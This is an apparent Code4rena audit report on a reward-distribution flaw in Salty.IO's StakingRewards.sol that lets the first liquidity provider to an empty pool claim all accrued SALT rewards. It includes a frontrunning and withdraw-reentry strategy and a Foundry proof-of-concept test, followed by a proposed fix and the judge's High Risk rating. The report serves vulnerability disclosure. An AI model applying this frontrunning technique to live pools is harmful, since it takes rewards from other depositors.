Frontrunning of Rewards in Newly Populated Pools

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L78-L85

Vulnerability details

Impact

The vulnerability arises due to the mechanism for calculating and distributing rewards in the context of newly created or newly emptied pools. In _increaseUserShare() within StakingRewards.sol, when a second user adds liquidity to a pool that has just become non-empty, the calculation of virtualRewardsToAdd disproportionately favors the first user who added liquidity. This is because the first user's virtualRewards remain at zero, enabling them to claim all the existing rewards in the pool, while subsequent users accrue virtualRewards that negate their share of these rewards.

if ( existingTotalShares != 0 ) // prevent / 0
    {
    // Round up in favor of the protocol.
    uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

    user.virtualRewards += uint128(virtualRewardsToAdd);
    totalRewards[poolID] += uint128(virtualRewardsToAdd);
    }

Flawed Reward Distribution Scenario

1. First User's Action: The first user adds liquidity to an empty pool. Their virtualRewards remain at zero.
2. Second User's Action: A second user adds an equal amount of liquidity. The increaseShareAmount/existingShares ratio equals 1, making virtualRewardsToAdd equal to totalRewards.
3. Reward Claim: When both users go to decrease their shares and claim rewards:
   • The first user, having no virtualRewards, can claim all the rewards in the pool.
   • The second user, whose virtualRewards equal the totalRewards, essentially has their claimable rewards negated, leaving them with nothing.

This mechanism leads to a situation where the first user to add liquidity to an empty pool can benefit from the existing rewards, while subsequent users, are unable to claim any rewards. Although this is the intended purpose of virtualRewards, this will manifest in 'empty pool hunters' who can frontrun transactions with a minimal amount of liquidity in order to be the first provider.

This can also lead to accounting issues as the first user is not concerned with setting a proper ratio to the tokens and instead is more focused on initial SALT rewards.

Lastly, if a user somehow maintains full control over the pool (is the only user) they can time withdraws and reentry such that they continue getting emitted rewards to themselves by:

1) Seeing a reward is incoming from the RewardEmitter.sol 2) Withdrawing all shares rendering existingTotalShares == 0 again 3) Letting the reward land into the now empty pool 4) Frontrunning and depositing a small amount of liquidity

Proof of Concept

Suppose a newly created pool has 100 SALT deposited into it. Then, the first user will be able to provide a minimal amount of liquidity while claiming the entire reward, leaving none for the second user.

    function testAttackFirstUserGetsRewards() public {
        // ------- SETUP TOKENS -------
        // ----------------------------
        vm.startPrank(address(alice));

        IERC20 token0 = new TestERC20_2("token0", 18);
        IERC20 token1 = new TestERC20_2("token1", 18);

        token0.transfer(address(bob), type(uint256).max/3);
        token1.transfer(address(bob), type(uint256).max/3);

        token0.approve(address(collateralAndLiquidity), type(uint256).max);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(address(bob));
        token0.approve(address(collateralAndLiquidity), type(uint256).max);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(address(dao));
        poolsConfig.whitelistPool( pools,   token0, token1);
        bytes32 pool1 = PoolUtils._poolID(token0, token1);
        vm.stopPrank();

        // ------ ADD REWARDS ------
        // -------------------------

        vm.startPrank(DEPLOYER);
        AddedReward[] memory rewards = new AddedReward[](1);
        rewards[0] = AddedReward({poolID: pool1, amountToAdd: 100*10**18});
        collateralAndLiquidity.addSALTRewards(rewards);
        vm.stopPrank();

        bytes32[] memory pools = new bytes32[](1);
        pools[0] = pool1;

        // ---- ADD SMALL LIQUIDITY TO BE FIRST ----
        // -----------------------------------------
        vm.startPrank(alice);
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(token0, token1, 101, 101, 0, block.timestamp, false );
        console.log("Alice virtual rewards (should be 0): ", collateralAndLiquidity.userVirtualRewardsForPool(address(alice), pool1));
        vm.stopPrank();

        // ---- SECOND USER JOINS ----
        // ---------------------------
        vm.startPrank(bob);
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(token0, token1, 202, 202, 0, block.timestamp, false);
        console.log("Bob virtual rewards (should not be 0) : ", collateralAndLiquidity.userVirtualRewardsForPool(address(bob), pool1));
        vm.stopPrank();

        // ---- FIRST USER CLAIMS ----
        // ---------------------------
        vm.startPrank(alice);
        uint256 aliceBalanceBefore = salt.balanceOf(address(alice));
        uint256 aliceClaimed = collateralAndLiquidity.claimAllRewards(pools);
        uint256 aliceBalanceAfter = salt.balanceOf(address(alice));
        console.log("Alice changed balance: ", aliceBalanceAfter - aliceBalanceBefore);
        vm.stopPrank();

        // ---- SECOND USER CLAIMS ----
        // ----------------------------
        vm.startPrank(address(bob));
        uint256 bobBalanceBefore = salt.balanceOf(address(bob));
        uint256 claimedBob = collateralAndLiquidity.claimAllRewards(pools);
        uint256 bobBalanceAfter = salt.balanceOf(address(bob));
        console.log("Bob changed balance: ", bobBalanceAfter - bobBalanceBefore);
        vm.stopPrank();
    }

Tools Used

foundry

Recommended Mitigation Steps

Initialize virtualRewards for the First Depositor: When the first user adds liquidity to an empty pool, assign them a portion of the virtualRewards based on the total existing rewards in the pool to disincentivize reward hunting.

function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal {
    // ...

    if (existingTotalShares == 0) {
        // Initialize virtual rewards for the first user based on a predefined fraction of total rewards
        uint256 initialVirtualRewards = totalRewards[poolID] * initialVirtualRewardFraction;
        user.virtualRewards += uint128(initialVirtualRewards);
        totalRewards[poolID] += uint128(initialVirtualRewards);
    } else {
        // Existing logic for subsequent users
        uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount, existingTotalShares);
        user.virtualRewards += uint128(virtualRewardsToAdd);
        totalRewards[poolID] += uint128(virtualRewardsToAdd);
    }

    // ...
}

Assessed type

MEV

[c4-judge]

Picodes marked the issue as duplicate of #614

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 3 (High Risk)